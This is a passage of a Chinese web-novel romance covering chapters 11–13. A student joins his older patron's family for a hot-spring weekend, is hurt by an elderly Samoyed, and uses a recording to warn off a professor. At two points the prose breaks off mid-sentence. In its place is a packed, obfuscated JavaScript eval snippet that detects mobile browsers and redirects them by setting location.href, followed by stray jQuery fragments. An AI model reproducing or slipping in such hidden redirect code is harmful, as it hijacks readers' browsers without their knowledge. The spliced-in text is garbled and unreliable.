谢如璋那边应下,荣鼎给京大捐了两个新的物理实验室,出国深造的项目顺利推进。去年是一期,今年是二期。沈恪得到名额。
沈恪压根不知道,他走后门的事过了谢如璋的手,而谢父谢母随后也知道了。
这几天,谢如珪可以不去想他,把所有事情都交给助理和律师团队代劳。撤资的事根本就不是他做的。甚至谢如珪都忘了,他给沈恪中年突然决定出国深造的梦想投资过了。
沈恪问出那句话,谢如珪就猜到了是谢如璋做的。
干脆认下。他没有必要和沈恪解释,更不想和这种浪费了自己青春的人继续联系。反正是他做的还是谢如璋做的没有多大区别。
既然谢如璋已经开始替他收拾沈恪了……谢如珪在车上,就做好了爸妈已经知道的准备。
谢母不一定知道,谢父可能会帮着再瞒一下。但谢父是一定要找他训话的了。谢如珪这才让言真找个话题聊聊,他好放松一下。
——结果言真念了首超级奇怪的诗。
具体的说不上来,就是觉得怪不自在的。
“不管怎么说,你是个告状精。”谢如珪冷声道,“我是不会轻易原谅你的。黑大帅今晚跟我睡。”
谢如璋笑了,给他哥敬了支烟。谢如珪很少吸烟,他当然会,男人年轻的时候总会试一试。
谢如珪试过了,不喜欢。但是弟弟讨好他,他就含一下,不过肺。
他接了这支烟,谢如璋就知道,他哥根本没和他计较。
“你带回家养一周都行,只要它愿意跟你走。”
烟吸完,事情说开,再吹冷风没意思,尤其是谢如珪根本没穿外套。两人回到客厅。
不见言真,徐微说,黑大帅打翻牛奶,言真带它进去擦毛了。
谢如珪点点头,去叫言真。
仿日式的建筑,竹制的推拉门重重叠叠的,谢如珪走进标间。言真带着黑大帅在浴室里,水声有点大,没注意到有人进来了。
谢如珪正要叫他,就听见少年轻声细语地教训:“……好了,别舔我了,保持边界感好吗?我不喜欢你这种脚趾缝里有狗屎的蠢狗。”
“我喜欢的是你妈妈。”
11. 第 11 章
给黑大帅擦完脖子,洗完爪爪,言真身上也湿了。
好在前些日子他和郑姨学了怎么打理这种昂贵却娇气的面料,没有贸然用电吹风吹,而是用干毛巾按压。除去黑大帅乱扭的时候,不慎被喷头浇透的袖子,其它看似狼狈的地方其实水珠并没有沁进去。
言真一边擦,一边低头冷酷地看着黑大帅。他本想教训它这件羊绒衫很贵的,要好几千。又想到这是只少爷狗,衣服还是它妈妈给自己买的,只好不和蠢狗一般见识。
他拍拍黑大帅的脖子:“走吧,给你吹下脚……”
“言真?”谢如珪的声音突然响起,“奇怪,不在吗?”
言真顿了顿,大踏步从浴室里走出来,萨摩耶啪嗒着脚丫紧随其后。
正好和谢如珪打了个照面。男人看起来似乎是刚进来,刚查看过他们在不在后院。
“谢老师,我在这里。”言真手上动作不停,顺便用腿拦了一下闷着头往前冲的黑大帅,“刚刚在浴室给黑大帅洗脚,我发现它……”
言真一脸一言难尽的表情。
谢如珪倒吸一口凉气,一脸“我懂”的同情。
“老年犬是这样的,辛苦你了。”谢如珪说,“你抓住它,我来给它擦脚吧。”
两人合力,赶在晚饭前把黑大帅收拾喷香。
榻榻米上到处是水渍和狗毛,谢如珪还叫了客房服务。
汤泉其实提供本膳料理,谢如璋去厨房看了,觉得食材新鲜程度一般,而且大多是养殖的。谢父谢母年纪大了不适合吃生冷,这才改用中餐。
中餐家常菜不追求野不野生,新鲜有机就好。徐微手机下单食材,没多久就送到了。这会儿,两个日料师傅正在铁板上烤肉、炒饭。
黑大帅也有少油少盐的狗狗饭。谢如珪说,自从它得了老年痴呆,除了控制零食的量,基本上它想吃什么家里人都会满足它。
·
饭后,老两口牵着黑大帅出门散步,谢梦娆夫妇回房间泡温泉,剩下四位年轻的男士约了牌局,回房间换好泳裤后,到庭院的公共池子里打麻将。
谢家兄弟和徐微打的是日麻,竞技性最强的麻将,和言真会的川麻区别非常大。不过麻将本来就是融汇贯通的,三人带言真试了一把,言真就学会了。
正式开始,前几局,大家各有输赢。徐微赢最多。
谢如珪喝了口清酒,对言真说:“小心呢对贼公婆。”
谢如璋和徐微都笑了。
言真一脸懵懂,像是完全没听懂的样子。
徐微笑够了,解释道:“我是广东人,你谢老师刚刚说的是粤语——很不地道。他怕你输惨,让你小心我。”
“很不地道吗?我还专门学过呢。”谢如珪问弟弟。
谢如璋笑而不语,手上继续给老婆喂牌。
谢如珪又骂他们两个:“诶诶诶手别太脏,我看着呢。”他和言真八卦道,“他俩每次都互相喂牌,手特别脏,所以大姐和姐夫才不和他们玩。也就是我善良,我不嫌弃他们夫妻店黑心了。”
徐微笑着说道:“哪有?就是正常玩好吧?明明是姐夫手气不好牌品也一般。哥,你牌品好,这把也谢了。”
徐微把牌一推,他又赢了。
谢如珪输了牌,不生气,笑得肩膀直抖,数好筹码推给徐微。徐微就把筹码摞到他和谢如璋的中间。
言真看他们笑得这么开心,大概了解了,这家人打麻将是不在意输赢的,喝着酒聊着天,全凭一个开心。
这样的话,他就不客气了。
“谢老师,我让你赢。”他凑近小声说道。
麻将桌就这么大,一开始谁也没在意言真的话,还以为是小孩见不得他亲亲谢老师输,安慰他呢。
然而接下来,局势一百八十度大逆转——言真的每一张牌似乎都恰好帮谢如珪凑成小番。
言真一张接一张地喂着,牌局几乎成了他的单向献祭,谢如珪频繁胡牌,有时候他自己都没反应过来就胡了。谢如珪面前的筹码以肉眼可见的速度迅速增长,几把下来就吃成了胖子。
言真喂得专注,他所有的注意力都麻将桌上,眼珠子跟着大家的手动。
但凡他这个时候抬眼,看看其他三人的表情,他就会意识到,在他沉溺于送祝福的时候,三个原本微醺的男人被他这一手天秀操作,打得是脸色变了又变。
酒也醒了,情也不调了,眼神复杂地看着他。
谢如珪欲言又止。
直到谢如璋突然伸手敲了敲桌子。
“小朋友,收手吧。”他提醒言真,“你看看,桌上现在除了你谢老师还有人有筹码吗?”
言真这才抬起头来。
谢如珪和谢如璋是同卵双胞胎,两人的长相非常相似,气质却完全不一样。一个静水流深,另一个锋芒毕露。谢如璋的身形也比谢如珪高大一些。眉压眼的缘故,他面无表情地看着一个人的时候,特别有压迫感。
桌上现在,除了言真自己面前还有一枚筹码,其它的都在谢如珪面前。花花绿绿的筹码堆成了一座小山。
“你别吓他。”徐微推了谢如璋一把。
他清了清嗓子,看向言真,似乎是想说点什么。然而还没说出口就开始笑,笑得不能自己,扭头趴在谢如璋的肩膀上笑。
谢如璋也轻轻勾了勾唇,帮他顺背。
徐微终于笑完了,他迎着言真尴尬又疑惑的求救目光,伸手拿走言真面前剩的唯一一枚筹码,在掌心抛了抛,又夹在指尖,问言真:“这是多少?”
“200。”言真回答道。
“是200万。”徐微说,“还记得一开始的时候,我们每个人分到了多少筹码吗?”
言真脸色剧变。
“我们打的是今年的分红。我记得你成年了对吧?愿赌服输,快给你谢老师转钱。”徐微笑眯眯地说。
说着,他拿起桌上谢如璋的手机,打开手机银行的汇款页面,在转账金额上填下了一个“0”多到言真头晕目眩的数字,然后展示给言真,他和谢如璋的已经转了。
几秒后,桌上的另一部手机响了两声。
言真已经完全傻掉了,他缓缓扭头看向从刚刚开始就一言不发的谢如珪,表情又慌张又委屈。
“谢老师……”
谢如珪实在忍不住了,把手牌推到桌上。他又胡了,于是伸手,问徐微要言真的那枚面值200的筹码。
还踢了弟弟一脚。
“不玩儿。”谢如珪说,“别信他的鬼话,就是200,我们打的是房费,大赢家给我姐上供。谁会打公司分红?吃饱了撑的。谢如璋你管管徐微。”
徐微已经笑趴在桌上了。
言真还没反应过来,谢如珪哄他:“少和徐叔叔玩,他才是最喜欢吓唬小朋友的。再说了,他根本没有给我转钱,响的是他自己的手机,他拿谢如璋的手机给他自己转钱呢。别怕,乖啊,不要你的钱,你和我睡一个房间呢,怎么可能要你来报销房费?而且你看他干什么?不知道怎么办你看我呀。”
说完,谢如珪当着言真的面,用微信给大姐转了两万。谢梦娆还没睡,回了他一个竖大拇指的emoji。
他们打麻将用的是日式锦标赛的标准筹码,总面值5000,按照谢家打麻将一贯的规矩,金额乘十。谢如珪给言真转了三万,说给他交下学期的学费。
言真和三个加起来快一百岁的男人玩,他就是再聪明,也没有三个成年已久的男人人精。他情绪大起大落的,现在还懵着呢,也没反应过来自己发了笔横财。
谢如璋嘴角压不下去,点了支烟。
徐微一边擦眼泪一边说道:“不好意思啊,我……徐叔叔逗你玩的。没办法你太可爱了……”
言真哦了一声。
上次谢家元旦家宴,他没见到徐微。今天在车上才听谢如珪说,他弟弟谢如璋的伴侣也是男性。徐微白天挺照顾他的,他本着和谢如珪的家人好好相处的原则,对徐微挺有好感。结果……
言真终于反应过来,估计是他给谢如珪点炮点得太过火了,人家两口子的调情被他打断,看不下去了。
他不好意思道:“那个……我家里以前是开麻将馆的,打顺了忘了照顾大家的体验了,不好意思。”
“怪不得你打麻将这么厉害,日麻挺烧脑的,你一下就上手了。”徐微真诚地说,“没事,反正你谢老师肯定是赢开心了,我们也大开眼界了。”
他戳了戳谢如璋,谢如璋也说:“没事,反正谁赢得开心,谁给大姐报销。”
“我很开心,我就乐意给钱。”谢如珪笑眯眯地说道,“不打了不打了,我去看看黑大帅去。”
谢父谢母早就牵着黑大帅回来了,看年轻人在打麻将,老两口就先睡了。黑大帅自己在客厅休息。
谢如珪起身,回客厅和狗玩。谢如璋和徐微也回他们的房间了。
言真想了想,去外面找管家。两万一晚的小四合院,门口有一间耳房,管家二十四小时候着,为客人提供服务。
·
言真端着醒酒汤回来的时候,谢如珪正在温泉里泡着。刚刚在庭院里大家是坐在石凳上打麻将的,只有下半身泡在温泉里。水温高又穿着浴衣,雾气蒸腾自然不冷。
回房间才好完全泡在私汤里。
“回来了?”谢如珪懒洋洋地问。
“嗯。”言真小心地绕开挡路的胖狗,来到谢如珪旁边,把醒酒汤放在石阶上,说,“谢老师,喝点醒酒汤吧。”
除了他三人都喝了酒,谢如珪喝得最多。他自己一个人喝了两德利清酒,薄薄的皮肤飞红,帅得言真挪不开眼睛。
言真觉得,他刚刚反应迟钝,有很大原因是因为谢如珪真的太好看了。
他和他的家人在一起的时候,那种自信的神采飞扬的感觉,好帅好风流好意气风发。言真要用世界上所有美好的词语来形容他。也会记得,不要太快被他发现。
他预备用很长的时间、用真心来打动他,而不是趁虚而入。
他在男人睁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592273|187401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开眼睛前,收回了视线。
“你去拿醒酒汤了呀?”谢如珪看了眼醒酒汤,不太想喝,“过会儿喝。你去外面不冷吗?下来泡泡吧。”
他让出一点位置。私汤池子不算小,容纳两个人绰绰有余。言真把浴衣脱了放到一旁,学着谢如珪的样子泡进池子里,舒展着,只露出肩膀以上。
“好舒服。”他小声说道。
谢如珪大概是轻笑了两声,重新闭上眼睛。
今晚没有下雪,不过日式园景景观陈设相对集中,树影绰绰,一阵风吹过,也很美了。
这样的景色,人在其中,哪怕是没有感觉,也要凭空生出爱意。
谢如珪闭着眼睛,言真猜他也许醉得厉害,听说清酒后劲很大。
他又开始肆无忌惮地盯着谢如珪看。
“小言,你是几月的生日?”谢如珪突然问。
“四月。”言真回答道。
“四月啊,快了。”他其实知道,他前几天才看过言真的资料,“四月你就十九岁了。你的话,高中肯定不会早恋,大学呢?上大学后,有没有遇到喜欢的人?”
谢如珪睁开眼睛,端起一旁的醒酒汤慢慢地喝。
似乎只是随便找了个话题闲聊,他一边喝,一边笑眯眯地看着言真等他回答。
“有。”出乎谢如珪的意料,言真直接肯定地给了答案,“有一个很向往的人,对方太好了,我不敢表白。”
言真并没有注意到男人愣了愣。在他的视角里,谢如珪听完他说的话后,慢悠悠地吹了吹醒酒汤,似乎是嫌醒酒汤烫,鼓着脸颊吹了好几下,才用勺子舀着继续喝。
看起来全然不在意的样子。
“是吗?什么样的人啊?”谢如珪头也不抬地问。
言真沉浸在一些奇怪的思绪里,谢如珪越不在意,他就越敢说。他一边回忆一边说道:“是我从小遇到的最好的人,一想到他就觉得幸福。”
现在就很幸福,从谢如珪问他,愿不愿意跟他回家开始,言真就得到了幸福。
谢如珪没有继续往下问,而言真沉浸在美景带来的别样心情里,思绪飘得很远。
又泡了半个小时,两人分别洗漱完,上床睡觉。
结果半夜的时候,黑大帅不知道怎么回事,突然蹦上言真的床,把言真吓了一大跳。
他叫出声,把谢如珪也吵醒了,打开灯,就看到言真被黑大帅压得小脸涨红。
谢如珪赶紧上去帮忙。
黑大帅骨架子大,从小就比同龄的小狗重,上了年纪之后更是减肥困难,体重直逼五十公斤。
它猛地一下跳上床,压在言真身上,言真没当场背过气去都是他身体素质不错。
“谢老师……”被救出来的言真气若游丝,“我刚看见我妈了……”
谢如珪陷入沉默。
没有记错的话,言真的档案上写着父母双亡。
当然,这是他绝对不能提的。
“没事,让谢老师看看啊,不行咱们就去医院。”
他把言真扶到自己床上躺着,也顾不得别的了,掀开少年T恤的下摆查看。言真就说,他痛的不是肚子,是胸口和大腿。
这两个地方,谢如珪还真不好脱了他的衣服看,只能嘴上说着让言真先缓缓。
言真真的闭着眼睛缓了好久,那种眼冒金星的感觉才终于过去,他睁开眼睛,让谢如珪扶着他到镜子前。言真现在的模样实在是太可怜了,两人都有心是不是该避着点对方,又避无可避,只能暗自提醒自己现在先别想别的。
言真对着镜子,自己单手把T恤拉高,还好,虽然胸口闷闷的,但是看起来没什么变化。他又把睡裤拉下。
纯白色的平角内裤下,少年雪白的腿肉上,有两个硕大的狗爪印子。拳头大的印子把半截大腿都踩成了沁血的深红色。
言真又把裤子捞上来:“没伤到骨头,就是肉痛。”
谢如珪懂。每一个养过胖狗的人都懂这种痛。
他又把言真扶回自己床上,出门找管家要跌打损伤的药。
言真靠坐在床头上,谢如珪用手掌给他揉进去,疼得言真快哭了。两人折腾了半天,终于上完药,发现黑大帅美滋滋睡在言真的床上,睡得直打鼾。
为了防止这狗半夜闹觉,想不开又往这张床上蹦,两人只能让管家加一张床垫,又把另一张床的床垫搬下来,并着放在榻榻米上将就着睡。
黑大帅的鼾声中,这一夜,两人谁也没睡好。
同床共枕的第一个晚上,谢如珪还掀了他的衣服,摸了他的大腿……没有一点旖旎,没有丝毫暧昧,言真早上起床的时候觉得胸口还是闷,气的。
谢如珪更惨,黑眼圈都冒出来了,也没忘在言真落座的时候稍微扶着他点儿。
以至于吃早饭的时候,全家人用一种古怪的眼神看着他们俩。
言真只能装看不懂不知道。
倒是谢如珪后知后觉,一脸黑线道:“不是……我真服了。言真你来告诉他们。”
12. 第 12 章
在谢母的坚持下,饭后,言真被谢如珪带回标间,又上了一次药。如果说昨晚,昏黄的灯光下,言真穿着内裤坐在床上,男人挽起袖子露出线条流畅的小臂给他按摩腿肉——还有那么一点因为对彼此的性取向心知肚明的暧昧的话。
这会儿全家人在外面,谢如璋和徐微口头教训黑大帅,谢梦娆夫妇宽慰担心得不得了的谢母——这些声音从推拉门外传来,言真的痛感在青天白日下格外真实。
他的半截腿肉在一夜过后,整个变成了黑中带紫的淤青。言真刚把裤子拉下来的时候,两人都被这恐怖的颜色吓了一跳。
“去医院。”谢如珪当机立断。
“没必要。”言真说,“要是真的伤到骨头,我昨晚就不行了。谢老师,你别按它,直接喷就好了。”
谢如珪拧着眉,他担心的其实是有没有骨裂。黑大帅真的胖。
他觉得这小孩乖是乖,还是不够大方。如果被好好养的话不会这样讳疾忌医。言真身世可怜,谢如珪心疼之余自然不会故意就他的成长过程批评他。
“我不想让大家担心。”言真又说。
他微微低着头,细碎的刘海挡住眼睛,跟朵被暴雨打蔫的小白花似的:“我不想给大家添麻烦……昨天晚上我玩得很开心。”
他声音越来越小,谢如珪心里泛起微微的酸,回想起昨晚他是怎样讨好自己的。
言真很没有安全感吧?
所以拼命给自己喂牌,想让自己赢,想让自己开心。
徐微逗他他也不生气,还反思是自己点炮点得太过火了。
谢如珪简直不知道说什么好。
他勉强答应:“现在先给你上药,但是等下午,还是要去医院看一下。”
言真这才点点头,朝谢如珪甜甜地笑:“好。”
谢如珪浴室拿着云南白药喷雾走过来,一只手按住言真的膝盖,另一只手往淤青上喷药。
药剂冰凉,喷在皮肤上刺激感很强,言真下意识地抖着腿躲——这也是谢如珪要按住他膝盖的原因。他接连喷了好几下,深棕色的药水顺着大腿内侧流下,还有些流到膝盖窝,谢如珪迅速拿纸擦干净。
做完这些,他绅士地退开,并提醒言真,等药剂干透了再穿裤子。
他自己则去卫生间洗手。
谢如珪再出来的时候,言真已经收拾整齐了。他受伤的那条腿不好受力,有一点跛脚,谢如珪就扶着他出去。
言真本来就乖,受伤之后看着又乖又可怜,尤其是那股坚强的小白花气质,把谢母心疼得不得了,忙把他叫到身边嘘寒问暖。
老太太哄孩子,把黑大帅叫过来给他出气,假装在胖狗硕大的狗头上锤了两下,把一家人给乐得不行。
明天是工作日,年轻人该上学的上学,该上班的上班,十一点提前吃完午饭后大家开始收拾行李。短途旅行,无非是换洗的内衣和证件、车钥匙之类的。言真被谢母带在身边,谢如珪就说他去收拾。
十二点半的时候,大家各自上车,准备回家。
美国那边放了圣诞假,谢如珪的侄子、谢梦娆夫妇的儿子要回来了,在电话里说想狗了,谢梦娆就问谢如璋他们借黑大帅,带回去养几天。黑大帅不认人但是认车,趁人不注意的时候上了谢如璋的车死活不下来。
没办法,最后只能商量,由谢梦娆开他们的车送谢父谢母回东山墅,姐夫梁正谦则开谢如璋的车把黑大帅弄回他们家。
谢如璋和徐微坐谢如珪的车回去。反正他们的家离得近,顺路。
·
言真依旧坐在副驾驶,三个男人有一搭没一搭地说着生意上的事。起先,徐微还抗议了几句,说明天才是周一,少在周末美好的余韵中提晦气的事。
然而当话题从荣鼎集团来到谢如珪的Lvjiji,徐微不抗议了,欣然加入了八卦——事实证明,哪怕是男士也需要丰富热辣的八卦来为生活增添情趣。
徐微甚至掏出手机,谨慎地先浏览了一遍热搜,然后对自家老公今天早上还开了一个视频会议,谢如珪这两天却没有接到任何一个工作电话的事表达了疑惑——
徐微:“哥,你是怎么做到放松地享受周末的?当然,Lvjiji的员工们真的很仗义,如璋也说荣鼎今年校招的时候会为女性提供更高比例岗位——我的意思是,这种乌龙,是我的话我愿意一天二十四小时待在公司,跟进进度。”
“你怎么知道我没有跟进呢?”谢如珪懒洋洋地哼笑一声。刚从小汤山下来,男人一个漂亮的转弯,汽车顺利并入了国道,“超管给那个博主打视频的时候,其实我就在现场,我在我的办公室用后台连线看他们视频。”
这下不光是徐微惊呼,谢如璋也嗤笑了一声。
言真……言真却装作对热搜的事毫不知情的样子,周五的晚上他装傻,周六起床就被谢如珪带出来玩了。中间没有时间给他“恰好也知道了这件事”,所以他们谈论,他却只能装作不知情又好奇的样子盯着谢如珪看。
然后又被帅到了。
很多人都会觉得心仪的男人开车的样子很帅,专注、潇洒、从容。驾驶座椅是男人魅力的放大器。当然,如果一个男人坐在驾驶座椅上是暴躁的令人害怕的,那只能说明,他是一个毫无魅力可言的烂人。
谢如珪无疑是富有魅力的那批人中的佼佼者。他专注地看着前方,关注路况,却能同时对车内的话题对答如流。言真看到他的神态,暗自为他倾倒。
偶尔,谢如珪从后视镜看坐在后排的两人时,言真就会收回视线,藏起他过分凝视的眼神。
“快说!我想听热搜上没有的内幕!”徐微催促。
谢如珪就把该博主原生性别长出血肉,硕大的宛如鸽子蛋的喉结占据屏幕,手机也被他突然拍桌震得从支架上掉落,镜头最后定格在该博主穿着沙滩短裤的腿毛上的内幕说了出来。
徐微笑到肚子痛,弯腰抱住膝盖。
谢如璋也有点绷不住了:“所以我才说,那个硅胶娃娃其实就是他用来……”
谢如珪突然清了清嗓子。
后排,除了徐微还在笑,兄弟俩通过后视镜交换了一个眼神,意识到,副驾驶上还坐着一个没有参与成人话题,但是听得津津有味的大学生呢。
谢如璋闭嘴,徐微笑完了,也后知后觉。一时间,车内陷入一种诡异的沉默。
“就是他用来干什么?”言真适时地接道,“为什么突然不说了?”
“就是他用来诈骗的手段。”谢如珪生硬地总结道,“他已经跑路了,平台正在配合警察调查。没了。”
“哦。”言真说道,“挺圆满的结局。”
接下来,话题又回到了枯燥的生意上。徐微靠着谢如璋的肩膀闭目养神,言真则戴上耳机开始循环那段录音。
谢如珪先把后排的二人送回家,然后掉头,带言真去医院拍片。
他带言真去的是Lvjiji长期合作的私立医院,很快就顺利拿到了片子,万幸并没有出现骨裂的情况。但言真淤青的严重程度,还是让医生交代谢如珪要多给言真冰敷,必要的话还要包扎加压。
提着医生开的药、冰袋和弹力绷带,谢如珪找了个商场,带言真解决了晚饭,然后两人才回到颐和原著。
从踏进家门的那一刻起,言真明显感觉到,周末融洽的气氛彻底远去。
谢如珪又变回了那个亲切浮于表面,温柔却疏离的谢老师。
他问言真,用不用帮他上药和冰敷。言真摇摇头,说他自己可以。谢如珪便不再勉强。
他照常嘱咐言真不要学得太晚,注意保护视力后,提前和言真道了晚安,回到了已经彻底消毒,并调整过布局的主卧。
起先,言真只以为这是性压抑,中国人的常态罢了。他依旧每晚奖励自己,不过他再也没在夜晚遇见过失眠的谢如珪。
周三上午,言真考完了最后一门试,晚上不再复习,而是坐在沙发上看电视,等谢如珪。谢如珪超过十点还没有回来,他就给谢如珪发一条晚安的消息,然后回到房间里等。
谢如珪工作越来越忙,每天早出晚归,言真尽量降低存在感,想着也许这个周末谢如珪会轻松点,到时候再想办法温水煮青蛙。
·
周五下午,最后一节大学生职业素养与人生规划课结束,京大开始了正式放假。
言真背着背包走在校园里,接到了胡德正的电话。
“言真。”胡德正开门见山地说,“你介绍的那位先生今天来了,不过,他要求更换医生。”
言真很惊讶:“为什么?他有说因为什么原因吗?”
“没有说原因。我告诉他,会根据他的情况帮他更换咨询师,但是对方的资历不如我。他说没关系。我也不好干涉他的个人意愿,今天是我最后一次帮他咨询,下一次就是别的医生了。”胡德正说,“单子发给你了,你自己看吧。能做的我都做了,录音你能删掉了吗?”
言真叹了口气:“谢谢你,胡医生。至于录音你不用担心,我早就删了。”顿了顿,他解释,“如果我真的要用录音来做什么,早在派出所里就拿出来了。我保证,那件事到此为止,至少在我这里到此为止了。”
两人客套了几句,言真挂了电话。
言真点开微信,正想看看胡德正给他发的谢如珪的病历证明,然而率先引入眼帘的,却是一个久未联系过的人。
言真把手机揣回兜里,掉头,往西门走。
京大校园面积不容小觑,言真走了二十分钟,才从东门走到西门。他腿上的淤青还没散,肉还痛着,走到那辆几乎隐蔽在道路尽头的车前时脸色很臭。
还不等他敲,车窗就先一步降下来。
“上车。”沈恪说。
“不上。”言真不买他的账,“沈教授,有话快说,我打了滴滴,还有三分钟到。”
他一点面子也不给,沈恪还真拿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592274|187401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他没办法,这个小崽子发起疯来能做出什么事,他已经见识过了。
他不想再进一次派出所,更不敢刺激这小子。言真发起狠来能从他身上咬掉一块肉。言真已经让他头破血流过一次了。沈恪怕他。
“录音你是不是没删?”他问,“你到底还想怎么样?”
“我答应过你我要删录音吗?你是不是精神有问题。告诉你,我不会删,我要留一辈子。”言真说,“我没怎么样,但是如果你再联系我再联系谢如珪,我就把录音交给学校。”
沈恪猛砸了一下方向盘:“我已经按你说的做了!可谢如珪还是撤资了,学校取消了我的深造名额。”
言真:“正好,接下来你可以靠自己的努力,老吃软饭算什么事儿?而且我管你的名额是不是被取消了,再敢联系谢如珪,我就用你的丑事,让学校给我保研。”
撂完狠话,言真不再理会无能狂怒的沈恪,走到对面,拉开一辆刚刚停下的滴滴专车的车门扬长而去。
什么风度翩翩的教授,车熄着火呢就路怒症了。言真撇撇嘴,心烦得很。
他居然忘了拉黑沈恪了,寒假刚开始就被傻逼发消息也太晦气了。他拿出手机把沈恪的所有联系方式全部拉黑。
言真的手机是去年发布的新款苹果,是他考上京大后,学校和奖学金一起奖励给他的。言真没什么网瘾,手机里不光一个游戏没有,连软件也只有常用的那几个。
占据他应用耗电量排行第一的,是手机自带的录音机。那里面现在只有一个录音,是这些日子以来他循环播放了几百遍的。
答应胡德正早就删了的录音,是真的早就删了。
告诉沈恪要留一辈子的录音,言真现在正在听。
他的心情因为录音而变好,又因为下车时,正好遇到谢如珪而变得更好。
“谢老师……啊!”
腿伤了一周还没好的少年,因为下车太急而摔倒在了别墅门口。
·
颐和原著作为北京数一数二的顶级豪宅,里面居住着政要、富豪、明星,以及文化界人士,安保一向很严格。
正常来说,社会车辆是不允许入内的。尤其是言真今天坐的,车身上印着滴滴专车,但是其实是特惠快车的车。
言真当时戴着耳机听录音,心思都在谢如珪身上,滴滴被保安拦下,他摇下车窗,问保安可不可以放他进去?他腿摔断了。
保安最近经常见到言真。
这个少年从月初开始住在这里,穿着质感很好的衣服,像是哪家小少爷。他每天都骑自行车上学,保安和他打过招呼,知道他是在京大读书。
最近几天没见他骑自行车,原来是腿摔断了吗?
保安自然不敢为难非富即贵的业主,给滴滴放行了。
言真得以坐到别墅门口。
他偶尔一次的任性带来的是美好的结果,谢如珪刚回家,甚至刚从车里下来。
深冬,小区里的腊梅花开得灿烂,落下不少带着香味的花朵。言真踩在一朵早夭的花骨朵上,不算是平地凭空摔跤。
“嘶——”
他被冰袋冰得下意识地往后缩。
谢如珪握着他的小腿肚把他拉回来。
“怕冷的话,怎么不好好上药?”男人难得语气有一点重,“一周了居然还越来越严重了。你自己一次也没有上过药吗?下车也是,那么着急干什么?我听到你的声音自然会等你。”
“上了药的。”言真说,“看见谢老师太开心了,好像踩到什么东西,脚一扭就摔了。”
他软乎乎地说道:“谢老师,好几天没看见你了。”
谢如珪给他冰敷一会儿就要抬起来一会儿,一直冰着人会受不了,他也要换手。
闻言,淡淡道:“百大up主颁奖盛典快到了,全公司都在加班,我也要和赞助商谈生意。”
“哦。”言真点点头,“谢老师辛苦了。”
伸手不打笑脸人,谢如珪心疼他,看着他腿这样又气又急,不好发脾气。
他沉默着,给言真冰敷了十分钟,自己的手也冻红了。结果把冰袋拿起来一看,发现一点也没有消肿。
少年纯白色的平角内裤下,右腿的腿围足足比左腿大了两圈。
“还是得去医院。”谢如珪说,“绝对有炎症……真的上药了吗?”
言真弱弱道:“应该是水肿,今天走路走得有点多。”
言真下午见到沈恪的臭脸是多重因素,他从京大的东门走到西门,腿要痛死了。坐上车了才发现,腿好像肿了。
并且随着时间的推移看起来更加吓人。
考虑到去医院可能要输液,谢如珪给司机打了电话。言真在谢如珪面前不带色情地脱裤子脱到麻木了,站起来,自己把裤子穿好。他想他其实有必要买两条不那么死板的内裤……
突然天旋地转。
再回过神来,已经被公主抱在怀里了。
13.第 13 章
两人火急火燎地赶到医院,结果双双挨了教训。
医生还记得他们。两个男人,打扮得非富即贵,长得还那么好看,很难不让人印象深刻。受伤的原因也好笑,五十公斤的胖狗,那狗爪印子哟,出去洗澡得按超级大胖狗收费。
那天他们走后,医生和护士笑了好半天。
这才几天,怎么又搂搂抱抱地看病来了?
有那么几秒,这位思想新潮的医生怀疑他们是不是挂号挂错科室了。
然而看诊过后——
医生:“不是交代过你要少走路多休息吗?期末考试,期末考试再重要……哦,你是京大的学生啊?不错。挺有出息的。”
“家属也是,他没认真听你也没认真听。我说的是回去以后先冰敷,然后再热敷。肿成这样了,你现在给他冰敷有什么用?完全是胡来。”
“有炎症,得输液。你们别把挫伤不当一回事,挫伤不处理,严重了血肿压迫神经,就得穿刺了。穿刺是什么你知道吗?就是拿很粗的针戳进肉里排血。”
“再严重一点,骨化性肌炎、筋模室综合征导致的受伤部位组织坏死,必须截肢才能保住小命了。你自己看你的腿现在吓不吓人?现在的年轻人怎么都不知道怕的啊?”
医生每说一句,言真的头就更低一点。医生比划了一下多粗的针,言真吓得直接扭头把脸埋进谢如珪的小腹里。
嗓子里闷闷地呜咽一声,手臂紧紧搂着男人的腰不放。
谢如珪的脸色也不好看。
“医生,我们知道了。”他心想这医生负责过头了吧?吓唬两句得了,越说越夸张,搞得他都有点吓到,私立医院……别是想拿言真冲业绩吧,“我这就带他去输液。”
言真头也不抬,谢如珪一下一下地捏他的后颈皮,试图安抚。
医生还有点意犹未尽的样子,见谢如珪眉毛都拧起来了,只好忍住了。他飞快地在电脑上打了几行字,几秒后,打印机吐出单子。
医生把单子递给谢如珪。
谢如珪做好了要用很贵的进口药的准备,反正钱对他来说不是事,效果好就行。只是想着如果医生故意坑他们下一年度Lvjiji的合作单位就要换一个了。
结果一看,两组药,七十二块八毛。
谢如珪:“……”
“去吧。”医生说道,“哪用得着抱着?让他自己跳着就过去了。”
本打算继续公主抱的谢如珪:“……”
言真小声道:“谢老师,你扶着我跳过去吧。”
“嗯。”
医生没让言真住院,让他们去输液室里等着。司机去楼下代为缴费后,谢如珪就让他先回去了。
他陪言真输液,两组药很快的,九点多就能回家。
又是深冬又是年前,大人小孩都容易生病。大人生病了往往扛着,年前是最忙的时候了。
